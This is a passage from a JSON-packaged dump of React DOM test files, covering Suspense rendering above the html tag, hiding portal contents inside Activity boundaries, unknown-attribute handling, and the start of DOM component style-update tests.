content=\"head\"></head><body><main><div>before</div><div>after</div></main></body></html>',\n    );\n\n    // @TODO remove this warning check when we loosen the tag nesting restrictions to allow arbitrary tags at the\n    // root of the application\n    assertConsoleErrorDev([\n      'In HTML, <head> cannot be a child of <main>.\\nThis will cause a hydration error.\\n' +\n        '    in head (at **)\\n' +\n        '    in App (at **)',\n    ]);\n\n    await act(() => {\n      root.render(<App phase={1} />);\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html><head data-h=\"\"><meta itemprop=\"\" content=\"..head\"><meta itemprop=\"\" content=\"head\"></head><body><main><div>before</div><div>after</div></main></body></html>',\n    );\n\n    await act(() => {\n      root.render(<App phase={2} />);\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html><head data-h=\"\"><meta itemprop=\"\" content=\"..head\"><meta itemprop=\"\" content=\"head\"><meta itemprop=\"\" content=\"head..\"></head><body><main><div>before</div><div>after</div></main></body></html>',\n    );\n\n    await act(() => {\n      root.render(<App phase={3} />);\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html><head data-h=\"\"><meta itemprop=\"\" content=\"..head\"><meta itemprop=\"\" content=\"head..\"></head><body><main><div>before</div><div>after</div></main></body></html>',\n    );\n\n    await act(() => {\n      root.unmount();\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html><head></head><body><main></main></body></html>',\n    );\n  });\n\n  it('can render a Suspense boundary above the <html> tag', async () => {\n    let suspendOnNewPromise;\n    let resolveCurrentPromise;\n    let currentPromise;\n    function createNewPromise() {\n      currentPromise = new Promise(r => {\n        resolveCurrentPromise = r;\n      });\n      return currentPromise;\n    }\n    createNewPromise();\n    function Comp() {\n      const [promise, setPromise] = React.useState(currentPromise);\n      suspendOnNewPromise = () => {\n        setPromise(createNewPromise());\n      };\n      React.use(promise);\n      return null;\n    }\n\n    const fallback = (\n      <html data-fallback=\"\">\n        <body data-fallback=\"\">\n          <div>fallback</div>\n        </body>\n      </html>\n    );\n\n    const main = (\n      <html lang=\"en\">\n        <head>\n          <meta itemProp=\"\" content=\"primary\" />\n        </head>\n        <body>\n          <div>\n            <Message />\n          </div>\n        </body>\n      </html>\n    );\n\n    let suspendOnNewMessage;\n    let currentMessage;\n    let resolveCurrentMessage;\n    function createNewMessage() {\n      currentMessage = new Promise(r => {\n        resolveCurrentMessage = r;\n      });\n      return currentMessage;\n    }\n    createNewMessage();\n    resolveCurrentMessage('hello world');\n    function Message() {\n      const [pendingMessage, setPendingMessage] =\n        React.useState(currentMessage);\n      suspendOnNewMessage = () => {\n        setPendingMessage(createNewMessage());\n      };\n      return React.use(pendingMessage);\n    }\n\n    function App() {\n      return (\n        <React.Suspense fallback={fallback}>\n          <Comp />\n          {main}\n        </React.Suspense>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(document);\n    await act(() => {\n      root.render(<App />);\n    });\n    // The initial render is blocked by promiseA so we see the fallback Document\n    expect(document.documentElement.outerHTML).toBe(\n      '<html data-fallback=\"\"><head></head><body data-fallback=\"\"><div>fallback</div></body></html>',\n    );\n\n    await act(() => {\n      resolveCurrentPromise();\n    });\n    // When promiseA resolves we see the primary Document\n    expect(document.documentElement.outerHTML).toBe(\n      '<html lang=\"en\"><head><meta itemprop=\"\" content=\"primary\"></head><body><div>hello world</div></body></html>',\n    );\n\n    await act(() => {\n      suspendOnNewPromise();\n    });\n    // When we switch to rendering ComponentB synchronously we have to put the Document back into fallback\n    // The primary content remains hidden until promiseB resolves\n    expect(document.documentElement.outerHTML).toBe(\n      '<html data-fallback=\"\"><head><meta itemprop=\"\" content=\"primary\" style=\"display: none;\"></head><body data-fallback=\"\"><div style=\"display: none;\">hello world</div><div>fallback</div></body></html>',\n    );\n\n    await act(() => {\n      resolveCurrentPromise();\n    });\n    // When promiseB resolves we see the new primary content inside the primary Document\n    // style attributes stick around after being unhidden by the Suspense boundary\n    expect(document.documentElement.outerHTML).toBe(\n      '<html lang=\"en\"><head><meta itemprop=\"\" content=\"primary\" style=\"\"></head><body><div style=\"\">hello world</div></body></html>',\n    );\n\n    await act(() => {\n      React.startTransition(() => {\n        suspendOnNewPromise();\n      });\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html lang=\"en\"><head><meta itemprop=\"\" content=\"primary\" style=\"\"></head><body><div style=\"\">hello world</div></body></html>',\n    );\n\n    await act(() => {\n      resolveCurrentPromise();\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html lang=\"en\"><head><meta itemprop=\"\" content=\"primary\" style=\"\"></head><body><div style=\"\">hello world</div></body></html>',\n    );\n\n    await act(() => {\n      suspendOnNewMessage();\n    });\n    // When we update the message itself we will be causing updates on the primary content of the Suspense boundary.\n    // The reason we also test for this is to make sure we don't double acquire the document singletons while\n    // disappearing and reappearing layout effects\n    expect(document.documentElement.outerHTML).toBe(\n      '<html data-fallback=\"\"><head><meta itemprop=\"\" content=\"primary\" style=\"display: none;\"></head><body data-fallback=\"\"><div style=\"display: none;\">hello world</div><div>fallback</div></body></html>',\n    );\n\n    await act(() => {\n      resolveCurrentMessage('hello you!');\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html lang=\"en\"><head><meta itemprop=\"\" content=\"primary\" style=\"\"></head><body><div style=\"\">hello you!</div></body></html>',\n    );\n\n    await act(() => {\n      React.startTransition(() => {\n        suspendOnNewMessage();\n      });\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html lang=\"en\"><head><meta itemprop=\"\" content=\"primary\" style=\"\"></head><body><div style=\"\">hello you!</div></body></html>',\n    );\n\n    await act(() => {\n      resolveCurrentMessage('goodbye!');\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html lang=\"en\"><head><meta itemprop=\"\" content=\"primary\" style=\"\"></head><body><div style=\"\">goodbye!</div></body></html>',\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMActivity-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet Scheduler;\nlet act;\nlet Activity;\nlet useState;\nlet useLayoutEffect;\nlet useEffect;\nlet LegacyHidden;\nlet assertLog;\nlet Suspense;\n\ndescribe('ReactDOMActivity', () => {\n  let container;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    Scheduler = require('scheduler/unstable_mock');\n    Activity = React.Activity;\n    useState = React.useState;\n    Suspense = React.Suspense;\n    useState = React.useState;\n    LegacyHidden = React.unstable_LegacyHidden;\n    useLayoutEffect = React.useLayoutEffect;\n    useEffect = React.useEffect;\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    const InternalTestUtils = require('internal-test-utils');\n    act = InternalTestUtils.act;\n    assertLog = InternalTestUtils.assertLog;\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n  });\n\n  function Text(props) {\n    Scheduler.log(props.text);\n    return <span prop={props.text}>{props.children}</span>;\n  }\n\n  it(\n    'hiding an Activity boundary also hides the direct children of any ' +\n      'portals it contains, regardless of how deeply nested they are',\n    async () => {\n      const portalContainer = document.createElement('div');\n\n      let setShow;\n      function Accordion({children}) {\n        const [shouldShow, _setShow] = useState(true);\n        setShow = _setShow;\n        return (\n          <Activity mode={shouldShow ? 'visible' : 'hidden'}>\n            {children}\n          </Activity>\n        );\n      }\n\n      function App() {\n        return (\n          <Accordion>\n            <div>\n              {ReactDOM.createPortal(\n                <div>Portal contents</div>,\n                portalContainer,\n              )}\n            </div>\n          </Accordion>\n        );\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => root.render(<App />));\n      expect(container.innerHTML).toBe('<div></div>');\n      expect(portalContainer.innerHTML).toBe('<div>Portal contents</div>');\n\n      // Hide the Activity boundary. Not only are the nearest DOM elements hidden,\n      // but also the children of the nested portal contained within it.\n      await act(() => setShow(false));\n      expect(container.innerHTML).toBe('<div style=\"display: none;\"></div>');\n      expect(portalContainer.innerHTML).toBe(\n        '<div style=\"display: none;\">Portal contents</div>',\n      );\n    },\n  );\n\n  it(\n    'revealing an Activity boundary inside a portal does not reveal the ' +\n      'portal contents if has a hidden Activity parent',\n    async () => {\n      const portalContainer = document.createElement('div');\n\n      let setShow;\n      function Accordion({children}) {\n        const [shouldShow, _setShow] = useState(false);\n        setShow = _setShow;\n        return (\n          <Activity mode={shouldShow ? 'visible' : 'hidden'}>\n            {children}\n          </Activity>\n        );\n      }\n\n      function App() {\n        return (\n          <Activity mode=\"hidden\">\n            <div>\n              {ReactDOM.createPortal(\n                <Accordion>\n                  <div>Portal contents</div>\n                </Accordion>,\n                portalContainer,\n              )}\n            </div>\n          </Activity>\n        );\n      }\n\n      // Start with both boundaries hidden.\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => root.render(<App />));\n      expect(container.innerHTML).toBe('<div style=\"display: none;\"></div>');\n      expect(portalContainer.innerHTML).toBe(\n        '<div style=\"display: none;\">Portal contents</div>',\n      );\n\n      // Reveal the inner Activity boundary. It should not reveal its children,\n      // because there's a parent Activity boundary that is still hidden.\n      await act(() => setShow(true));\n      expect(container.innerHTML).toBe('<div style=\"display: none;\"></div>');\n      expect(portalContainer.innerHTML).toBe(\n        '<div style=\"display: none;\">Portal contents</div>',\n      );\n    },\n  );\n\n  it('hides new portals added to an already hidden tree', async () => {\n    function Child() {\n      return <Text text=\"Child\" />;\n    }\n\n    const portalContainer = document.createElement('div');\n\n    function Portal({children}) {\n      return <div>{ReactDOM.createPortal(children, portalContainer)}</div>;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    // Mount hidden tree.\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <Text text=\"Parent\" />\n        </Activity>,\n      );\n    });\n    assertLog(['Parent']);\n    expect(container.innerHTML).toBe(\n      '<span prop=\"Parent\" style=\"display: none;\"></span>',\n    );\n    expect(portalContainer.innerHTML).toBe('');\n\n    // Add a portal inside the hidden tree.\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <Text text=\"Parent\" />\n          <Portal>\n            <Child />\n          </Portal>\n        </Activity>,\n      );\n    });\n    assertLog(['Parent', 'Child']);\n    expect(container.innerHTML).toBe(\n      '<span prop=\"Parent\" style=\"display: none;\"></span><div style=\"display: none;\"></div>',\n    );\n    expect(portalContainer.innerHTML).toBe(\n      '<span prop=\"Child\" style=\"display: none;\"></span>',\n    );\n\n    // Now reveal it.\n    await act(() => {\n      root.render(\n        <Activity mode=\"visible\">\n          <Text text=\"Parent\" />\n          <Portal>\n            <Child />\n          </Portal>\n        </Activity>,\n      );\n    });\n\n    assertLog(['Parent', 'Child']);\n    expect(container.innerHTML).toBe(\n      '<span prop=\"Parent\" style=\"\"></span><div style=\"\"></div>',\n    );\n    expect(portalContainer.innerHTML).toBe(\n      '<span prop=\"Child\" style=\"\"></span>',\n    );\n  });\n\n  it('hides new insertions inside an already hidden portal', async () => {\n    function Child({text}) {\n      useLayoutEffect(() => {\n        Scheduler.log(`Mount layout ${text}`);\n        return () => {\n          Scheduler.log(`Unmount layout ${text}`);\n        };\n      }, [text]);\n      return <Text text={text} />;\n    }\n\n    const portalContainer = document.createElement('div');\n\n    function Portal({children}) {\n      return <div>{ReactDOM.createPortal(children, portalContainer)}</div>;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    // Mount hidden tree.\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <Portal>\n            <Child text=\"A\" />\n          </Portal>\n        </Activity>,\n      );\n    });\n    assertLog(['A']);\n    expect(container.innerHTML).toBe('<div style=\"display: none;\"></div>');\n    expect(portalContainer.innerHTML).toBe(\n      '<span prop=\"A\" style=\"display: none;\"></span>',\n    );\n\n    // Add a node inside the hidden portal.\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <Portal>\n            <Child text=\"A\" />\n            <Child text=\"B\" />\n          </Portal>\n        </Activity>,\n      );\n    });\n    assertLog(['A', 'B']);\n    expect(container.innerHTML).toBe('<div style=\"display: none;\"></div>');\n    expect(portalContainer.innerHTML).toBe(\n      '<span prop=\"A\" style=\"display: none;\"></span><span prop=\"B\" style=\"display: none;\"></span>',\n    );\n\n    // Now reveal it.\n    await act(() => {\n      root.render(\n        <Activity mode=\"visible\">\n          <Portal>\n            <Child text=\"A\" />\n            <Child text=\"B\" />\n          </Portal>\n        </Activity>,\n      );\n    });\n\n    assertLog(['A', 'B', 'Mount layout A', 'Mount layout B']);\n    expect(container.innerHTML).toBe('<div style=\"\"></div>');\n    expect(portalContainer.innerHTML).toBe(\n      '<span prop=\"A\" style=\"\"></span><span prop=\"B\" style=\"\"></span>',\n    );\n  });\n\n  it('reveal an inner Suspense boundary without revealing an outer Activity on the same host child', async () => {\n    const promise = new Promise(() => {});\n\n    function Child({showInner}) {\n      useLayoutEffect(() => {\n        Scheduler.log('Mount layout');\n        return () => {\n          Scheduler.log('Unmount layout');\n        };\n      }, []);\n      return (\n        <>\n          {showInner ? null : promise}\n          <Text text=\"Child\" />\n        </>\n      );\n    }\n\n    const portalContainer = document.createElement('div');\n\n    function Portal({children}) {\n      return <div>{ReactDOM.createPortal(children, portalContainer)}</div>;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n\n    // Prerender the whole tree.\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <Portal>\n            <Suspense name=\"Inner\" fallback={<span>Loading</span>}>\n              <Child showInner={true} />\n            </Suspense>\n          </Portal>\n        </Activity>,\n      );\n    });\n\n    assertLog(['Child']);\n    expect(container.innerHTML).toBe('<div style=\"display: none;\"></div>');\n    expect(portalContainer.innerHTML).toBe(\n      '<span prop=\"Child\" style=\"display: none;\"></span>',\n    );\n\n    // Re-suspend the inner.\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <Portal>\n            <Suspense name=\"Inner\" fallback={<span>Loading</span>}>\n              <Child showInner={false} />\n            </Suspense>\n          </Portal>\n        </Activity>,\n      );\n    });\n    assertLog([]);\n    expect(container.innerHTML).toBe('<div style=\"display: none;\"></div>');\n    expect(portalContainer.innerHTML).toBe(\n      '<span prop=\"Child\" style=\"display: none;\"></span><span style=\"display: none;\">Loading</span>',\n    );\n\n    // Toggle to visible while suspended.\n    await act(() => {\n      root.render(\n        <Activity mode=\"visible\">\n          <Portal>\n            <Suspense name=\"Inner\" fallback={<span>Loading</span>}>\n              <Child showInner={false} />\n            </Suspense>\n          </Portal>\n        </Activity>,\n      );\n    });\n    assertLog([]);\n    expect(container.innerHTML).toBe('<div style=\"\"></div>');\n    expect(portalContainer.innerHTML).toBe(\n      '<span prop=\"Child\" style=\"display: none;\"></span><span style=\"\">Loading</span>',\n    );\n\n    // Now reveal.\n    await act(() => {\n      root.render(\n        <Activity mode=\"visible\">\n          <Portal>\n            <Suspense name=\"Inner\" fallback={<span>Loading</span>}>\n              <Child showInner={true} />\n            </Suspense>\n          </Portal>\n        </Activity>,\n      );\n    });\n    assertLog(['Child', 'Mount layout']);\n    expect(container.innerHTML).toBe('<div style=\"\"></div>');\n    expect(portalContainer.innerHTML).toBe(\n      '<span prop=\"Child\" style=\"\"></span>',\n    );\n  });\n\n  it('mounts/unmounts layout effects in portal when visibility changes (starting visible)', async () => {\n    function Child() {\n      useLayoutEffect(() => {\n        Scheduler.log('Mount layout');\n        return () => {\n          Scheduler.log('Unmount layout');\n        };\n      }, []);\n      return <Text text=\"Child\" />;\n    }\n\n    const portalContainer = document.createElement('div');\n\n    function Portal({children}) {\n      return <div>{ReactDOM.createPortal(children, portalContainer)}</div>;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    // Mount visible tree.\n    await act(() => {\n      root.render(\n        <Activity mode=\"visible\">\n          <Portal>\n            <Child />\n          </Portal>\n        </Activity>,\n      );\n    });\n    assertLog(['Child', 'Mount layout']);\n    expect(container.innerHTML).toBe('<div></div>');\n    expect(portalContainer.innerHTML).toBe('<span prop=\"Child\"></span>');\n\n    // Hide the tree. The layout effect is unmounted.\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <Portal>\n            <Child />\n          </Portal>\n        </Activity>,\n      );\n    });\n    assertLog(['Unmount layout', 'Child']);\n    expect(container.innerHTML).toBe('<div style=\"display: none;\"></div>');\n    expect(portalContainer.innerHTML).toBe(\n      '<span prop=\"Child\" style=\"display: none;\"></span>',\n    );\n  });\n\n  it('mounts/unmounts layout effects in portal when visibility changes (starting hidden)', async () => {\n    function Child() {\n      useLayoutEffect(() => {\n        Scheduler.log('Mount layout');\n        return () => {\n          Scheduler.log('Unmount layout');\n        };\n      }, []);\n      return <Text text=\"Child\" />;\n    }\n\n    const portalContainer = document.createElement('div');\n\n    function Portal({children}) {\n      return <div>{ReactDOM.createPortal(children, portalContainer)}</div>;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    // Mount hidden tree.\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <Portal>\n            <Child />\n          </Portal>\n        </Activity>,\n      );\n    });\n    // No layout effect.\n    assertLog(['Child']);\n    expect(container.innerHTML).toBe('<div style=\"display: none;\"></div>');\n    expect(portalContainer.innerHTML).toBe(\n      '<span prop=\"Child\" style=\"display: none;\"></span>',\n    );\n\n    // Unhide the tree. The layout effect is mounted.\n    await act(() => {\n      root.render(\n        <Activity mode=\"visible\">\n          <Portal>\n            <Child />\n          </Portal>\n        </Activity>,\n      );\n    });\n    assertLog(['Child', 'Mount layout']);\n    expect(container.innerHTML).toBe('<div style=\"\"></div>');\n    expect(portalContainer.innerHTML).toBe(\n      '<span prop=\"Child\" style=\"\"></span>',\n    );\n  });\n\n  // @gate enableLegacyHidden\n  it('does not toggle effects or hide nodes for LegacyHidden component inside portal', async () => {\n    function Child() {\n      useLayoutEffect(() => {\n        Scheduler.log('Mount layout');\n        return () => {\n          Scheduler.log('Unmount layout');\n        };\n      }, []);\n      useEffect(() => {\n        Scheduler.log('Mount passive');\n        return () => {\n          Scheduler.log('Unmount passive');\n        };\n      }, []);\n      return <Text text=\"Child\" />;\n    }\n\n    const portalContainer = document.createElement('div');\n\n    function Portal({children}) {\n      return <div>{ReactDOM.createPortal(children, portalContainer)}</div>;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    // Mount visible tree.\n    await act(() => {\n      root.render(\n        <LegacyHidden mode=\"visible\">\n          <Portal>\n            <Child />\n          </Portal>\n        </LegacyHidden>,\n      );\n    });\n    assertLog(['Child', 'Mount layout', 'Mount passive']);\n    expect(container.innerHTML).toBe('<div></div>');\n    expect(portalContainer.innerHTML).toBe('<span prop=\"Child\"></span>');\n\n    // Hide the tree.\n    await act(() => {\n      root.render(\n        <LegacyHidden mode=\"hidden\">\n          <Portal>\n            <Child />\n          </Portal>\n        </LegacyHidden>,\n      );\n    });\n    // Effects not unmounted.\n    assertLog(['Child']);\n    expect(container.innerHTML).toBe('<div></div>');\n    expect(portalContainer.innerHTML).toBe('<span prop=\"Child\"></span>');\n\n    // Unhide the tree.\n    await act(() => {\n      root.render(\n        <LegacyHidden mode=\"visible\">\n          <Portal>\n            <Child />\n          </Portal>\n        </LegacyHidden>,\n      );\n    });\n    // Effects already mounted.\n    assertLog(['Child']);\n    expect(container.innerHTML).toBe('<div></div>');\n    expect(portalContainer.innerHTML).toBe('<span prop=\"Child\"></span>');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMAttribute-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\n// Fix JSDOM. setAttribute is supposed to throw on things that can't be implicitly toStringed.\nconst setAttribute = Element.prototype.setAttribute;\nElement.prototype.setAttribute = function (name, value) {\n  // eslint-disable-next-line react-internal/safe-string-coercion\n  return setAttribute.call(this, name, '' + value);\n};\n\ndescribe('ReactDOM unknown attribute', () => {\n  let React;\n  let ReactDOMClient;\n  let act;\n  let assertConsoleErrorDev;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n  });\n\n  async function testUnknownAttributeRemoval(givenValue) {\n    const el = document.createElement('div');\n    const root = ReactDOMClient.createRoot(el);\n\n    await act(() => {\n      root.render(<div unknown=\"something\" />);\n    });\n\n    expect(el.firstChild.getAttribute('unknown')).toBe('something');\n\n    await act(() => {\n      root.render(<div unknown={givenValue} />);\n    });\n\n    expect(el.firstChild.hasAttribute('unknown')).toBe(false);\n  }\n\n  async function testUnknownAttributeAssignment(givenValue, expectedDOMValue) {\n    const el = document.createElement('div');\n    const root = ReactDOMClient.createRoot(el);\n\n    await act(() => {\n      root.render(<div unknown=\"something\" />);\n    });\n\n    expect(el.firstChild.getAttribute('unknown')).toBe('something');\n\n    await act(() => {\n      root.render(<div unknown={givenValue} />);\n    });\n\n    expect(el.firstChild.getAttribute('unknown')).toBe(expectedDOMValue);\n  }\n\n  describe('unknown attributes', () => {\n    it('removes values null and undefined', async () => {\n      await testUnknownAttributeRemoval(null);\n      await testUnknownAttributeRemoval(undefined);\n    });\n\n    it('changes values true, false to null, and also warns once', async () => {\n      await testUnknownAttributeAssignment(true, null);\n      assertConsoleErrorDev([\n        'Received `true` for a non-boolean attribute `unknown`.\\n\\n' +\n          'If you want to write it to the DOM, pass a string instead: ' +\n          'unknown=\"true\" or unknown={value.toString()}.\\n' +\n          '    in div (at **)',\n      ]);\n      await testUnknownAttributeAssignment(false, null);\n    });\n\n    it('removes unknown attributes that were rendered but are now missing', async () => {\n      const el = document.createElement('div');\n      const root = ReactDOMClient.createRoot(el);\n\n      await act(() => {\n        root.render(<div unknown=\"something\" />);\n      });\n\n      expect(el.firstChild.getAttribute('unknown')).toBe('something');\n\n      await act(() => {\n        root.render(<div />);\n      });\n\n      expect(el.firstChild.hasAttribute('unknown')).toBe(false);\n    });\n\n    it('removes new boolean props', async () => {\n      const el = document.createElement('div');\n      const root = ReactDOMClient.createRoot(el);\n\n      await act(() => {\n        root.render(<div inert={true} />);\n      });\n\n      expect(el.firstChild.getAttribute('inert')).toBe(true ? '' : null);\n    });\n\n    it('warns once for empty strings in new boolean props', async () => {\n      const el = document.createElement('div');\n      const root = ReactDOMClient.createRoot(el);\n\n      await act(() => {\n        root.render(<div inert=\"\" />);\n      });\n      assertConsoleErrorDev([\n        'Received an empty string for a boolean attribute `inert`. ' +\n          'This will treat the attribute as if it were false. ' +\n          'Either pass `false` to silence this warning, or ' +\n          'pass `true` if you used an empty string in earlier versions of React to indicate this attribute is true.\\n' +\n          '    in div (at **)',\n      ]);\n\n      expect(el.firstChild.getAttribute('inert')).toBe(true ? null : '');\n\n      // The warning is only printed once.\n      await act(() => {\n        root.render(<div inert=\"\" />);\n      });\n    });\n\n    it('passes through strings', async () => {\n      await testUnknownAttributeAssignment('a string', 'a string');\n    });\n\n    it('coerces numbers to strings', async () => {\n      await testUnknownAttributeAssignment(0, '0');\n      await testUnknownAttributeAssignment(-1, '-1');\n      await testUnknownAttributeAssignment(42, '42');\n      await testUnknownAttributeAssignment(9000.99, '9000.99');\n    });\n\n    it('coerces NaN to strings and warns', async () => {\n      await testUnknownAttributeAssignment(NaN, 'NaN');\n      assertConsoleErrorDev([\n        'Received NaN for the `unknown` attribute. ' +\n          'If this is expected, cast the value to a string.\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('coerces objects to strings and warns', async () => {\n      const lol = {\n        toString() {\n          return 'lol';\n        },\n      };\n\n      await testUnknownAttributeAssignment({hello: 'world'}, '[object Object]');\n      await testUnknownAttributeAssignment(lol, 'lol');\n    });\n\n    it('throws with Temporal-like objects', async () => {\n      class TemporalLike {\n        valueOf() {\n          // Throwing here is the behavior of ECMAScript \"Temporal\" date/time API.\n          // See https://tc39.es/proposal-temporal/docs/plaindate.html#valueOf\n          throw new TypeError('prod message');\n        }\n        toString() {\n          return '2020-01-01';\n        }\n      }\n      const test = () =>\n        testUnknownAttributeAssignment(new TemporalLike(), null);\n\n      await expect(test).rejects.toThrowError(new TypeError('prod message'));\n      assertConsoleErrorDev([\n        'The provided `unknown` attribute is an unsupported type TemporalLike.' +\n          ' This value must be coerced to a string before using it here.\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('removes symbols and warns', async () => {\n      await testUnknownAttributeRemoval(Symbol('foo'));\n      assertConsoleErrorDev([\n        'Invalid value for prop `unknown` on <div> tag. Either remove it ' +\n          'from the element, or pass a string or number value to keep it ' +\n          'in the DOM. For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('removes functions and warns', async () => {\n      await testUnknownAttributeRemoval(function someFunction() {});\n      assertConsoleErrorDev([\n        'Invalid value for prop `unknown` on <div> tag. Either remove ' +\n          'it from the element, or pass a string or number value to ' +\n          'keep it in the DOM. For details, see ' +\n          'https://react.dev/link/attribute-behavior \\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('allows camelCase unknown attributes and warns', async () => {\n      const el = document.createElement('div');\n\n      const root = ReactDOMClient.createRoot(el);\n\n      await act(() => {\n        root.render(<div helloWorld=\"something\" />);\n      });\n      assertConsoleErrorDev([\n        'React does not recognize the `helloWorld` prop on a DOM element. ' +\n          'If you intentionally want it to appear in the DOM as a custom ' +\n          'attribute, spell it as lowercase `helloworld` instead. ' +\n          'If you accidentally passed it from a parent component, remove ' +\n          'it from the DOM element.\\n' +\n          '    in div (at **)',\n      ]);\n\n      expect(el.firstChild.getAttribute('helloworld')).toBe('something');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMComponent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('ReactDOMComponent', () => {\n  let React;\n  let ReactDOM;\n  let ReactDOMClient;\n  let ReactDOMServer;\n  const ReactFeatureFlags = require('shared/ReactFeatureFlags');\n\n  let act;\n  let assertLog;\n  let Scheduler;\n  let assertConsoleErrorDev;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n    assertLog = require('internal-test-utils').assertLog;\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  describe('updateDOM', () => {\n    it('should handle className', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div style={{}} />);\n      });\n\n      await act(() => {\n        root.render(<div className={'foo'} />);\n      });\n      expect(container.firstChild.className).toEqual('foo');\n      await act(() => {\n        root.render(<div className={'bar'} />);\n      });\n      expect(container.firstChild.className).toEqual('bar');\n      await act(() => {\n        root.render(<div className={null} />);\n      });\n      expect(container.firstChild.className).toEqual('');\n    });\n\n    it('should gracefully handle various style value types', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div style={{}} />);\n      });\n      const stubStyle = container.firstChild.style;\n\n      // set initial style\n      const setup = {\n        display: 'block',\n        left: '1px',\n        top: 2,\n        fontFamily: 'Arial',\n      };\n      await act(() => {\n        root.render(<div style={setup} />);\n      });\n      expect(stubStyle.display).toEqual('block');\n      expect(stubStyle.left).toEqual('1px');\n      expect(stubStyle.top).toEqual('2px');\n      expect(stubStyle.fontFamily).toEqual('Arial');\n\n      // reset the style to their default state\n      const reset = {display: '', left: null, top: false, fontFamily: true};\n      await act(() => {\n        root.render(<div style={reset} />);\n      });\n      expect(stubStyle.display).toEqual('');\n      expect(stubStyle.left).toEqual('');\n      expect(stubStyle.top).toEqual('');\n      expect(stubStyle.fontFamily).toEqual('');\n    });\n\n    it('should not update styles when mutating a proxy style object', async () => {\n      const styleStore = {\n        display: 'none',\n        fontFamily: 'Arial',\n        lineHeight: 1.2,\n      };\n      // We use a proxy style object so that we can mutate it even if it is\n      // frozen in DEV.\n      const styles = {\n        get display() {\n          return styleStore.display;\n        },\n        set display(v) {\n          styleStore.display = v;\n        },\n        get fontFamily() {\n          return styleStore.fontFamily;\n        },\n        set fontFamily(v) {\n          styleStore.fontFamily = v;\n        },\n        get lineHeight() {\n          return styleStore.lineHeight;\n        },\n        set lineHeight(v) {\n          styleStore.lineHeight = v;\n        },\n      };\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div style={styles} />);\n      });\n\n      const stubStyle = container.firstChild.style;\n      stubStyle.display = styles.display;\n      stubStyle.fontFamily = styles.fontFamily;\n\n      styles.display = 'block';\n\n      await act(() => {\n        root.render(<div style={styles} />);\n      });\n      expect(stubStyle.display).toEqual('none');\n      expect(stubStyle.fontFamily).toEqual('Arial');\n      expect(stubStyle.lineHeight).toEqual('1.2');\n\n      styles.fontFamily = 'Helvetica';\n\n      await act(() => {\n        root.render(<div style={styles} />);\n      });\n      expect(stubStyle.display).toEqual('none');\n      expect(stubStyle.fontFamily).toEqual('Arial');\n      expect(stubStyle.lineHeight).toEqual('1.2');\n\n      styles.lineHeight = 0.5;\n\n      await act(() => {\n        root.render(<div 